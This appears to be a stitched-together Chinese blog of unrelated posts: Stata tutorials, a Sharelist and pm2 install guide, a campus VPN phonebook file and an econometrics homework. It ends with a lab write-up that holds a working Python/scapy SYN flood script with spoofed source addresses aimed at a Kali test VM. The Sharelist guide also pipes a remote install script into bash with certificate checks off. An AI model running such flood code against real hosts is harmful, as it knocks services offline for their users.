本文申明

• 如果本文出现逻辑或者学术错误，请在本页留言或者联系作者邮箱（caoyongzhuo@qq.com[国内邮箱]；warnerjulia866@gmail.com[国外邮箱]）

• 虽然Markdown语法优雅且规范，但由于博客采用复杂的显示模式，部分文字或表格会被浏览器转义为较丑样式，后期优化，还请谅解

• 任何转载复用，请遵守 Creative Commons 国际准则，未经授权禁止商业用途

• 未对接任何广告，下文推荐的数据分发平台均为作者亲测后推荐，读者可以自行选择阿里云[建议]、腾讯云[建议]、百度云[不建议]等大厂平台

• 如需广告对接请移步上述邮箱或下述WX号，请说明来意，否则一律拒接

Stata安装

• 本文使用 Stata17 MP 中文和谐版（永久激活序列号）编写，内置常用命令库，如需安装与作者相同版本的Stata或有数据分析、一对一辅导需求，请移步WX号：15624552379

Stata导入数据

[-] 导入方式（为方便示例，都使用Excel数据，不考虑SQL数据库数据）

• 使用代码导入

  
  
  1. 优点：对于超大型数据（一般是5w以上）的数据来说，使用代码导入更加快速，不易出错
  2. 缺点：要提前对于Excel数据进行分析整理

• 使用Stata图形化界面导入

  
  
  1. 优点：对于中小型数据、不懂复杂数据结构的人来说是一种友好方式
  2. 缺点：不适合超大型数据导入

[-] 示例数据如下（请读者自行下载）

• 为了博客运转速度不被大型文件拖垮，本文所有数据将全部托管于”七牛云CDN“进行转储并全球分发，请读者自行下载

• 下载模式：点击加粗或高亮超链接文字跳转下载

• 特别说明：七牛云CDN的付费挺贵的，希望不要有任何不怀好意之人使用网络下载器或爬虫频繁发起请求，博客安装了IP探针并且和公安联网，访客IP都将被记录存档，每12小时上传云端，如果遇到不法分子恶意请求或攻击，后果自负！

• auto示例数据.xlsx下载

[-] 使用代码方式导入

cd "F:\STATA测试数据" //切换工作目录
clear //清除内存中的数据
set more off //设置结果滚动显示
import excel using "auto示例数据.xlsx", firstrow clear //更多参数请在命令行窗口输入 help import 进行详细语法查看

• 工作目录以自己电脑的Excel文件存储地址为准，前三行是stata编码的三部曲
• auto示例数据.xlsx是需要导入的文件名，具体以自己的文件名为准
• firstrow参数是将Excel的第一行作为Stata变量名

• clear参数是将目前Stata内存中的数据清楚
• import的类型不止Excel一种，具体可以参考手册进行查看，手册查看方式：在命令行窗口输入 help import

[-] 使用Stata图形化界面导入

• 打开Stata，在顶部选择”文件“?”导入“?”Excel电子表格“

• 在接下来的界面中，选择”浏览“?找到你”存放Excel的目录“?选择”工作表“?选择”单元格范围“?勾选”将第一行作为变量名“?点击”确定“

• 此时数据已经导入Stata的数据管理器中，我们可以在右侧的<变量窗口##中看到导入的数据变量名（Excel表的第一行）

• 如果需要查看每一个变量名所对应的具体数值，我们可以点击Stata上方的数据编辑器

数据类型、数据结构辨析

[-] Stata的常用数据类型

• str --- 字符串类型 （在Stata 17的数据管理器中显示为黄色）
• byte --- 字节类型 （在Stata 17的数据管理器中显示为白色）
• int --- 整形类型 （在Stata 17的数据管理器中显示为白色）
• double --- 数值类型 （在Stata 17的数据管理器中显示为蓝色）

认识基本的数据类型有助于后期在数据预处理过程中如merge、append、duplicates drop等命令的正常运行

[-] Stata的常用数据结构

• 截面数据 --- 作者口诀：多个体，单时间
• 时间序列数据 --- 作者口诀：单个体，多时间
• 面板数据 --- 作者口诀：多个体，多时间

作者在此处使用 山东大学 - 陈强 -《高级计量经济学》中的课件进行阐释，陈强博客地址：http://www.econometrics-stata.com/col.jsp?id=101

1. 截面数据

2. 时间序列数据

3. 面板数据

在一般情况下，对于面板数据，我们可以拆分成截面数据和时间序列数据，但是这个过程无法逆向拆分，只可以逆向补充。原因是面板数据作为多个体、多时间的数据结构来说，想要拆分成截面数据的话，只需要提取单个时间节点的数据；想要拆分成时间序列数据的话，只需要提取单个个体的数据，这是一个十分有趣的过程，在下面我们进行详细介绍。

[-] 面板数据拆分为截面数据

• 1994-2013年中国分省GDP.xlsx数据下载

• 下载数据并导入Stata

** 面板数据拆分截面数据演示
cd "F:\STATA测试数据" //切换工作目录
clear //清除内存中的数据
set more off //设置结果滚动显示
import excel using "1994-2013年分省.xlsx", firstrow clear //导入面板数据

• 我们假设只需要截取1994年的界面数据

keep if 年份 == 1994 //第一种方式，使用keep保留符合要求的数据
drop if 年份 != 1994 //第二种方式，使用drop删除不符合要求的数据

此处Markdown语法与Stata语法出现了转义，请读者按照下图第14行代码中的"！="描述<不等于##逻辑判断

[-] 面板数据拆分为时间序列数据

• 1994-2013年中国分省GDP.xlsx数据下载

• 下载数据并导入Stata

keep if 省份 == "北京" //第一种方式，使用keep保留符合要求的数据
drop if 省份 != "北京" //第二种方式，使用drop删除不符合要求的数据

此处Markdown语法与Stata语法出现了转义，请读者按照下图第14行代码中的"！="描述<不等于##逻辑判断

字符串拼接

[-] 原始数据结构

| var1 | var2 | //变量名

% str % str % //数据类型

[-] 语法

gen new_var = var1 + var2

[-] 示例原始数据

| var1 | var2 |
| 12345| 5678 |

[-] 示例语法

gen sum_string = var1 + var2

[-] 示例结果数据

| var1 | var2 | sum_string | //变量名
| 12345 | 5678 | 123455678 | //变量名所对应的数值

字符串拆分

[-] 原始数据结构

| sum_string |

% str %

[-] 语法

gen new_var = substr(sum_string,m,n)

• m : 从单元格第几个字符开始
• n ：从开始字符选择几个字符
• 注意：一个汉字占用2个字符，一个数字占用1个字符

[-] 示例原始数据

| sum_string |

| 12345678 |

[-] 示例语法

gen var3 = substr(sum_string,2,4)

[-] 示例结果数据

| var3 |

| 2345 |

分组求和(单、多层级)

[-] 原始数据结构

数据结构不限

[-] 语法

bysort var1 : egen new_var = sum(var2) // 以var1为分类，对var2分组求和

bysort var1 var3 : egen new_var = sum(var2) // 以var1为一级分类，var3为二级分类，对var2分组求和

• 其中的sum（）函数可以更换为count（）分组计数、max（）分组求最大值
• 其中的new_var变量名换成自己想要的就行

[-] 示例原始数据

| var1 | var2 | var3 |
| 1 | 3 | A |
| 1 | 2 | A |
| 1 | 2 | A |
| 1 | 3 | B |
| 1 | 2 | B |
| 1 | 3 | B |
| 2 | 1 | A |
| 2 | 1 | A |
| 2 | 2 | A |
| 2 | 2 | B |
| 2 | 2 | B |

[-] 示例语法

bysort var1 var3 : egen newvar = count(var2)

[-] 示例结果数据

| var1 | var2 | var3 | new_var |
| 1 | 3 | A | 3 |
| 1 | 2 | A | 3 |
| 1 | 2 | A | 3 |
| 1 | 3 | B | 3 |
| 1 | 2 | B | 3 |
| 1 | 3 | B | 3 |
| 2 | 1 | A | 3 |
| 2 | 1 | A | 3 |
| 2 | 2 | A | 3 |
| 2 | 2 | B | 3 |
| 2 | 2 | B | 3 |

Ⅰ、// 电脑端安装（WIN）

一、环境搭建

1. 安装Git命令行工具

详情想看 “杂谈手记” ? ”WIN下安装Git并美化”一文

杂谈手记” ? ”WIN下安装Git并美化

2.安装Node.JS

详情想看 “杂谈手记” ? ”WIN下安装简易Web服务器环境”一文

杂谈手记” ? ”WIN下安装简易Web服务器环境

3.安装pm2管理工具

在Git命令行工具中输入如下指令：

npm i pm2 -g

安装过后记得查看是否成功

node -v
pm2 -v

二、安装Sharelist

1.打开Git命令行工具,进入要安装Sharelist的目录

我这里以D:/Git/download目录为例

2.输入如下命令,下载Sharelist程序安装包

#本地安装
git clone https://github.com/reruin/sharelist.git 
如果速度很慢的话，切换这个镜像地址
git clone --depth=1 https://github.com.cnpmjs.org/reruin/sharelist.git
或者
git clone --depth=1 https://hub.fastgit.org/reruin/sharelist.git

#远程安装（可选）
wget --no-check-certificate -qO-  https://raw.githubusercontent.com/reruin/sharelist/master/netinstall.sh | bash

#更新
bash update.sh

3.进入Sharelist目录

cd sharelist

4.运行安装命令

bash install.sh

5.此时打开 "http://localhost:33001"并显示界面,即为安装成功

6.安装报错,进行排查

当显示npm和pm2命令找不到时，进入sharelist文件夹，打开install.sh文件：

使用VS Code或者别的文本编辑器打开这个文件

注释掉这一行

这是一段PATH路径寻址的代码，因为我在安装Node.js环境时配置了全局环境变量，可能导致了它加载不到正确的路径，所以我们注释掉这段代码，就可以依靠全局环境变量正确寻址。

注释完毕重新安装Sharelist即可

三、启动并配置Sharelist挂载各大网盘

1.首次启动要配置网站管理员密码、名称、虚拟路径等等。随意，后期可改

2.点击页面下方的管理，输入刚刚设置的管理员密码，进入管理后台

3.配置自己所需的网盘,具体可以参考官方文档

大神的官方文档：ShareList Docs

4.逆天功能介绍：虚拟路径

① 首先创建一个文件夹，随便在哪都行,我这里D:\Git\download\虚拟路径

② 然后创建一个.d.ln格式的文件,我这里以ctcc.d.ln为例

③ 文件的内容格式是这样 挂载标识:挂载内容

具体如下：?

Sharelist虚拟路径挂载配置内容

④ 然后在Sharelist的管理后台绑定虚拟路径

⑤ 然后在首页刷新，出现“目录选项”

⑥ 点击进去，这个ctcc其实就是等效于首页的ctcc文件夹了

四、配置Sharelist挂载WebDav

如下配置即可?

WedDav可以把整个虚拟路径的配置转出，方便我们等下搭配RaiDrive映射本地硬盘

五、使用RaiDrive本地挂载硬盘

1.下载、安装RaiDrive

点我下载：RaiDrive, The Best Way to the remote storage

2.配置RaiDrive

3.配置信息如下

4.这样就是挂载成功了

5.成果如下

六、其他的注意事项?

Sharelist的其他注意事项

七、设置pm2自启动sharelist

pm2 start app.js --name sharelist --env prod //开启sharelist进程
pm2 save //保存进程信息
pm2 startup //开机自启动

八、pm2常用命令

pm2 start app.js # 启动app.js应用程序
pm2 start app.js -i 4 # cluster mode 模式启动4个app.js的应用实例
# 4个应用程序会自动进行负载均衡
pm2 start app.js --name="api" # 启动应用程序并命名为 "api"
pm2 start app.js --watch # 当文件变化时自动重启应用
pm2 start script.sh # 启动 bash 脚本

pm2 list # 列表 PM2 启动的所有的应用程序
pm2 monit # 显示每个应用程序的CPU和内存占用情况
pm2 show [app-name] # 显示应用程序的所有信息

pm2 logs # 显示所有应用程序的日志
pm2 logs [app-name] # 显示指定应用程序的日志
pm2 flush

pm2 stop all # 停止所有的应用程序
pm2 stop 0 # 停止 id为 0的指定应用程序
pm2 restart all # 重启所有应用
pm2 reload all # 重启 cluster mode下的所有应用
pm2 gracefulReload all # Graceful reload all apps in cluster mode
pm2 delete all # 关闭并删除所有应用
pm2 delete 0 # 删除指定应用 id 0
pm2 scale api 10 # 把名字叫api的应用扩展到10个实例
pm2 reset [app-name] # 重置重启数量

pm2 startup # 创建开机自启动命令
pm2 save # 保存当前应用列表
pm2 resurrect # 重新加载保存的应用列表
pm2 update # Save processes, kill PM2 and restore processes
pm2 generate # Generate a sample json configuration file
pm2 start app.js --node-args="--max-old-space-size=1024"

Ⅱ、// 电脑端安装（Linux）

Linux桌面端

首先很遗憾的是，RaiDrive的客户端只支持WIN系统。如果你电脑的主力系统是Linux，那么搭建完Sharelist以后只能用在网页访问，没法映射磁盘。

1.安装Git

#Debian/Ubuntu 系统及其发行分支
sudo apt-get -y install git

CentOS/RHEL 系统及其发行分支
sudo yum -y install git

2.下载Sharelist

#本地安装
git clone https://github.com/reruin/sharelist.git 
如果速度很慢的话，切换这个镜像地址
git clone --depth=1 https://github.com.cnpmjs.org/reruin/sharelist.git
或者
git clone --depth=1 https://hub.fastgit.org/reruin/sharelist.git

#远程安装（可选）
wget --no-check-certificate -qO-  https://raw.githubusercontent.com/reruin/sharelist/master/netinstall.sh | bash

#更新
bash update.sh

3.安装Sharelist

cd sharelist
bash install.sh

4.启动Sharelist

浏览器输入http://localhost:33001即可

5.设置自启动命令同WIN

Linux服务器端

上述不管是WIN还是Linux桌面端，都无法摆脱的问题是电脑一关机Sharelist也就关闭了，对于搞资源分享的小伙伴来说不是很友好啊，那么如果你有这个需求恰好还有一台Linux服务器的话，不妨试试这样配置，能实现24H不间断的服务。

1.至5.同桌面端

6.安装宝塔，配置好Web环境

我估摸着能看到这里的都是老司机了，我就不赘述这些过程了

7.建立好一个新的站点，绑定、解析好域名

8.域名反代，如图所示

9.启动Sharelist

接下来在任何一台设备输入站点域名即可成果启动Sharelist

10.映射磁盘

虽然Sharelist服务端在Linux服务器上跑着，但只要你工作的电脑不是Linux而是WIN，那么你也可以像文章一开始那样映射磁盘，只需要修改一下RaiDrive的配置：将127.0.0.1改为?宝塔面板绑定的Sharelist域名；33001端口改为?网站域名端口（默认80端口）

Ⅲ、//手机端安装

1.下载Termux

Termux是一个命令行工具，前往官网下载最新版

点我下载:Termux

2.安装git

pkg install git

3.安装Node.js

pkg install nodejs

4.下载Sharelist

#本地安装
git clone https://github.com/reruin/sharelist.git 
如果速度很慢的话，切换这个镜像地址
git clone --depth=1 https://github.com.cnpmjs.org/reruin/sharelist.git
或者
git clone --depth=1 https://hub.fastgit.org/reruin/sharelist.git

#远程安装（可选）
wget --no-check-certificate -qO-  https://raw.githubusercontent.com/reruin/sharelist/master/netinstall.sh | bash

#更新
bash update.sh

5.安装Sharelist

cd sharelist
bash install.sh

6.安装npm

npm install

7.安装pm2

npm i pm2 -g

8.启动Sharelist服务

pm2 start app.js --name sharelist --env prod

9.输入网址"http://127.0.0.1:33001",完成！

一、免责申明

• 此文件仅供山东财经大学(学生用户)使用。
• 技术含量不高，所有大家不用担心自己的用户名和密码安全，全部都是本地化的。
• PBK文件为微软官方执行文件，未二次打包，防火墙要是报错请忽视。
• 不是网络信息中心官网VPN配置方式，要是有顾虑大可自己设置。
• 如有侵权请联系我删除，仅供学习参考，请勿用于非法获利。

二、下载地址

https://caoyongzhuo.cn/山财VPN/一键连接山财VPN.pbk

三、使用教程

1. 双击 一键连接山财VPN.pbk 程序

2. 点击 连接 按钮

3. 输入 账号 密码，点击连接

4. 显示连接中

5. 现在就可以上内网网站了
6. 如需挂断VPN，重新双击程序

7. 选择 挂断 即可

四、常见问题及其解决

1. 错误代码691

• 这个问题大概率是你的用户名密码输错了。
• 也可能是协议不正确导致的。
• 确保如下信息完全一致。

2. 错误代码628

• 学校服务器中止连接了
• 只需要重拨就行

五、代码原理

# 不要伪造Guid，否则后果自负！！
# 不要伪造Guid，否则后果自负！！
# 不要伪造Guid，否则后果自负！！
Encoding=1
PBVersion=6
Type=2
AutoLogon=0
UseRasCredentials=1
LowDateTime=580261312
HighDateTime=30957053
DialParamsUID=18500140
Guid=2E9E33939D329043A37D3C1631C02343
VpnStrategy=3
ExcludedProtocols=0
LcpExtensions=1
DataEncryption=8
SwCompression=0
NegotiateMultilinkAlways=0
SkipDoubleDialDialog=0
DialMode=0
OverridePref=15
RedialAttempts=3
RedialSeconds=60
IdleDisconnectSeconds=0
RedialOnLinkFailure=1
CallbackMode=0
CustomDialDll=
CustomDialFunc=
CustomRasDialDll=
ForceSecureCompartment=0
DisableIKENameEkuCheck=0
AuthenticateServer=0
ShareMsFilePrint=1
BindMsNetClient=1
SharedPhoneNumbers=0
GlobalDeviceSettings=0
PrerequisiteEntry=
PrerequisitePbk=
PreferredPort=VPN3-0
PreferredDevice=WAN Miniport (L2TP)
PreferredBps=0
PreferredHwFlow=1
PreferredProtocol=1
PreferredCompression=1
PreferredSpeaker=1
PreferredMdmProtocol=0
PreviewUserPw=1
PreviewDomain=1
PreviewPhoneNumber=0
ShowDialingProgress=1
ShowMonitorIconInTaskBar=1
CustomAuthKey=0
AuthRestrictions=544
IpPrioritizeRemote=1
IpInterfaceMetric=0
IpHeaderCompression=0
IpAddress=0.0.0.0
IpDnsAddress=0.0.0.0
IpDns2Address=0.0.0.0
IpWinsAddress=0.0.0.0
IpWins2Address=0.0.0.0
IpAssign=1
IpNameAssign=1
IpDnsFlags=0
IpNBTFlags=1
TcpWindowSize=0
UseFlags=2
IpSecFlags=1
IpDnsSuffix=
Ipv6Assign=1
Ipv6Address=::
Ipv6PrefixLength=0
Ipv6PrioritizeRemote=1
Ipv6InterfaceMetric=0
Ipv6NameAssign=1
Ipv6DnsAddress=::
Ipv6Dns2Address=::
Ipv6Prefix=0000000000000000
Ipv6InterfaceId=0000000000000000
DisableClassBasedDefaultRoute=0
DisableMobility=0
NetworkOutageTime=0
IDI=
IDR=
ImsConfig=0
IdiType=0
IdrType=0
ProvisionType=0
PreSharedKey=
CacheCredentials=1
NumCustomPolicy=0
NumEku=0
UseMachineRootCert=0
Disable_IKEv2_Fragmentation=0
PlumbIKEv2TSAsRoutes=0
NumServers=0
RouteVersion=1
NumRoutes=0
NumNrptRules=0
AutoTiggerCapable=0
NumAppIds=0
NumClassicAppIds=0
SecurityDescriptor=
ApnInfoProviderId=
ApnInfoUsername=
ApnInfoPassword=
ApnInfoAccessPoint=
ApnInfoAuthentication=1
ApnInfoCompression=0
DeviceComplianceEnabled=0
DeviceComplianceSsoEnabled=0
DeviceComplianceSsoEku=
DeviceComplianceSsoIssuer=
WebAuthEnabled=0
WebAuthClientId=
FlagsSet=0
Options=0
DisableDefaultDnsSuffixes=0
NumTrustedNetworks=0
NumDnsSearchSuffixes=0
PowershellCreatedProfile=0
ProxyFlags=0
ProxySettingsModified=0
ProvisioningAuthority=
AuthTypeOTP=0
GREKeyDefined=0
NumPerAppTrafficFilters=0
AlwaysOnCapable=0
DeviceTunnel=0
PrivateNetwork=0

NETCOMPONENTS=
ms_msclient=1
ms_server=1

MEDIA=rastapi
Port=VPN3-0
Device=WAN Miniport (L2TP)

DEVICE=vpn
PhoneNumber=ipsec.sdufe.edu.cn
AreaCode=
CountryCode=0
CountryID=0
UseDialingRules=0
Comment=
FriendlyName=
LastSelectedPhone=0
PromoteAlternates=0
TryNextAlternateOnFail=1

一、作业要求（数据文件homework.dta）

• 画出ln_wage和tenure的散点图以及拟合曲线。
• 以ln_wage为被解释变量，以age、race、msp、grade、south、union为解释变量，做描述性统计分析，给出变量之间的相关性水平，做普通最小二乘回归（报告估计系数、t统计值、F值、R2、观测值个数），以上结果以表格形式输出。
• 以ln_wage为被解释变量，以age、msp、south、union为解释变量，做个体固定效应回归（在idcode层面做聚类稳健标准误），以表格形式输出回归结果，报告组间R2。
• 以ln_wage为被解释变量，以age、msp、south、union为解释变量，做个体随机效应回归，以表格形式输出回归结果，报告组内R2。
• 利用hausman检验判断应该是个体固定效应回归还是个体随机效应回归，报告hausman统计值。
• 数据文件下载地址

二、代码文件如下（如有错误，请指正）

*切换路径*
clear
cd "F:\数学建模\计量经济学\homework" //数据文件所在目录
set more off
use homework.dta //使用homework.dta
*1.1绘制ln_wage和tenure散点图*
scatter ln_wage tenure
*1.2绘制ln_wage和tenure拟合优度*
twoway (lfit ln_wage tenure)
*补充：ln_wage和tenure散点图和拟合优度复合*
twoway (scatter ln_wage tenure ) (lfit ln_wage tenure)
*2.1.1给出一般描述性统计结果*
su ln_wage age race msp grade south union,de
*2.1.2给出详细描述性统计结果*
tabstat ln_wage age race msp grade south union, stat( mean sd p5 p25 med p75 p95 min max )
*2.2给出变量之间的相关性水平*
pwcorr   ln_wage age race msp grade south union,star(0.05)
*2.3普通最小二乘回归*
reg ln_wage age race msp grade south union
*2.4使用outreg2命令输出结果*
est store Result
//保留R²，F统计量，样本回归系数（保留三位小数），T统计量（保留两位小数）
outreg2 [Result] using Result.xsl, replace tstat e(r2,F) bdec(3) tdec(2)
*3.1告诉stata该数据为面板数据（工资ln_wage和年份year）*
xtset idcode year
*3.2个体固定效应回归（在idcode层面做聚类稳健标准误）*
xtreg ln_wage age msp south union ,fe vce(cluster idcode)
*3.3输出结果，汇报组间R² *
est store Xtreg_Fe
outreg2 [Xtreg_Fe] using Xtreg_Fe.xsl, replace tstat e(r2_b) 
*4.1个体随机效应回归（在idcode层面做聚类稳健标准误）*
xtreg ln_wage age msp south union i.year,re vce(cluster idcode)
*4.2输出结果，汇报组内R² *
est store Xtreg_Re
outreg2 [Xtreg_Re] using Xtreg_Re.xsl, replace tstat e(r2_w) 
*利用hausman检验判断应该是个体固定效应回归还是个体随机效应回归*
//个体固定回归（不做聚类稳健标准误）
xtreg ln_wage age msp south union ,fe 
est store Xtreg_Fe_1
//个体随机回归（不做聚类稳健标准误）
xtreg ln_wage age msp south union i.year,re
est store Xtreg_Re_1
//计算hausman
hausman Xtreg_Fe_1 Xtreg_Re_1,constant sigmamore

三、数据结果的图文说明

切换路径*
clear
cd "F:\数学建模\计量经济学\homework" //数据文件所在目录
set more off
use homework.dta  //使用homework.dta 

1. 画出ln_wage和tenure的散点图以及拟合曲线。

1.1绘制ln_wage和tenure散点图*
scatter ln_wage tenure

1.2绘制ln_wage和tenure拟合优度*
twoway (lfit ln_wage tenure)

补充：ln_wage和tenure散点图和拟合优度复合*
twoway (scatter ln_wage tenure) (lfit ln_wage tenure)

2. 以ln_wage为被解释变量，以age、race、msp、grade、south、union为解释变量，做描述性统计分析，给出变量之间的相关性水平，做普通最小二乘回归(报告估计系数、t统计值、F值、R2、观测值个数），以上结果以表格形式输出。

2.1.1给出一般描述性统计结果*
su ln_wage **age race msp grade south union,**de
*2.1.2给出详细描述性统计结果*
tabstat ln_wage **age race msp grade south union,** stat**(** mean sd p5 p25 med p75 p95 min max **)

2.2给出变量之间的相关性水平*
pwcorr  ln_wage **age race msp grade south union,**star**(0.05)

2.3普通最小二乘回归*
reg ln_wage **age race msp grade south union**
*2.4使用outreg2命令输出结果*
est store **Result**
//保留R²，F统计量，样本回归系数（保留三位小数），T统计量（保留两位小数）
outreg2 **[Result] using** Result.xsl**, replace** tstat **e(r2,F) bdec(3) tdec(2)

回归结果如下：

结果报告：**
​                    **age   race  msp   grade  south  union  Constant**
**估计系数：[0.009]  [-0.051] [-0.016] [0.078] [-0.124]  [0.182]  [0.552]**
**T统计量：(-19.65)  （-8.03） (-2.60)  (-62.33) (-20.02) (-26.05) (-23.75)**
​    **F值：1145**                  **R2：0.263**                 **Obs：19213

3. 以ln_wage为被解释变量，以age、msp、south、union为解释变量，做个体固定效应回归（在idcode层面做聚类稳健标准误），以表格形式输出回归结果，报告组间R2。

*3.1告诉stata该数据为面板数据（工资ln_wage和年份year）*
xtset idcode year
*3.2个体固定效应回归（在idcode层面做聚类稳健标准误）*
xtreg ln_wage age msp south union ,fe vce(cluster idcode)

*3.3输出结果，汇报组间R² *
est store Xtreg_Fe
outreg2 [Xtreg_Fe] using Xtreg_Fe.xsl, replace tstat e(r2_b)

结果如下：

结果报告：组间R2的值为 0.0711

4. 以ln_wage为被解释变量，以age、msp、south、union为解释变量，做个体随机效应回归，以表格形式输出回归结果，报告组内R2。

***4.1****个体随机效应回归（在****idcode****层面做聚类稳健标准误）*******
xtreg ln_wage age msp south union i.year**,**re **vce(**cluster **idcode)

***4.2****输出结果，汇报组内****R² \***
est **store** Xtreg_Re
outreg2 **[**Xtreg_Re**] using** Xtreg_Re.xsl**,** replace **tstat e(r2_w)

结果如下：

结果报告：组内R2的值为 0.101

5. 利用hausman检验判断应该是个体固定效应回归还是个体随机效应回归，报告hausman统计值

*****利用****hausman****检验判断应该是个体固定效应回归还是个体随机效应回归*******
**//****个体固定回归（不做聚类稳健标准误）**
xtreg **ln_wage age msp south union ,**fe 
est **store Xtreg_Fe_1

//****个体随机回归（不做聚类稳健标准误）**
xtreg ln_wage age msp south union **i.year,**re
est **store** Xtreg_Re_1

//****计算****hausman**
hausman Xtreg_Fe_1 Xtreg_Re_1**,constant** sigmamore

hausman结果报告： chi2值为107.18 ，同时 P统计量 = 0.000 < 0.05结果显著。**
​                  **拒绝原假设（H0:** **个体随机效应回归），采用（个体固定效应回归）

++++++++++++++++++++++++++ 计量经济学 Copyright By © 学金融的文科生 ++++++++++++++++++++++++++

编写python脚本实现SYN FLOOD（DDOS）

原理

SYN FLOOD是DDOS的一种，发生在OSI第四层，这种方式利用TCP协议的特性，就是三次握手。攻击者发送TCP SYN，SYN是TCP三次握手中的第一个数据包，当服务器返回ACK后，该攻击者就不对其进行再确认，那这个TCP连接就处于挂起状态，也就是所谓的半连接状态，服务器收不到再确认的话，还会重复发送ACK给攻击者。

攻击者就对服务器发送非常大量的这种TCP连接，由于每一个都没法完成三次握手，所以在服务器上，这些TCP连接会因为挂起状态而消耗CPU和内存，最后服务器可能死机，从而就无法为正常用户提供服务了。

实验方式

在本机运行脚本，攻击kali linux靶机的80端口，模拟攻击靶机网站，然后在kali linux里使用wireshark观察接收数据分析信息验证是否成功。

Python脚本

import random
import time
from scapy.all import *
#这里的tgt是被攻击的靶机的IP地址
tgt="192.168.137.128"
print(tgt)
dPort = 80
def synFlood(tgt,dPort):
    srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
    for sPort in range(1024,65535):
        index = random.randrange(4)
        ipLayer = IP(src=srcList[index], dst=tgt)
        tcpLayer = TCP(sport=sPort, dport=dPort,flags="S")
        packet = ipLayer / tcpLayer
        send(packet)
synFlood(tgt,dPort)

kali linux靶机开启apache，并且绑定0.0.0.0:80端口

查看服务开启状态

service --stauts-all

这里apache没有开启，我们将其开启

service apache2 start

小插曲：主机访问不了kali linux虚拟机的解决方案

这中间遇到了个小插曲，我的主机访问不了虚拟机，这里需要进行网卡还原操作。

需要管理员权限，编辑ports.conf文件

sudo vim /etc/apache2/ports.conf

编辑文件将80端口改成0.0.0.0:80

在kali打开wireshark

windows里运行python脚本

kali里面是自带的scapy，这里windows电脑要提前装好scapy

pip3 install scapy-python3

如果中间提示

Traceback (most recent call last):
  File "D:\PycharmProjects\new\main.py", line 3, in
    from scapy.all import *
ModuleNotFoundError: No module named 'scapy'

如下图所示

我们需要将scapy的包拷到项目的目录里就好了

然后就可以运行了，可以看到已经在疯狂发包了。

kali这边已经可以看到很多发送请求，这里通过SNY FLOOD可以占用虚拟机很大的资源，但是这里因为是内网所以带宽方面表现不明显，如果是外网的话，通过SNY断开连接占用大量带宽资源，应该会有明显的卡顿。